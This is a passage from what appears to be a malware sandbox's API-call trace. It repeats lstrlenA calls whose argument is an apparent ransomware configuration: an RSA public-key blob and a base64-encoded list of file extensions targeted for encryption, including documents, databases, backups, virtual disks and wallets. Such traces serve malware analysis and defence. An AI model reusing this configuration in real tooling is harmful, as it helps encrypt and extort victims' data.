lLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0052.471] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0052.471] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0052.471] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0052.471] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxb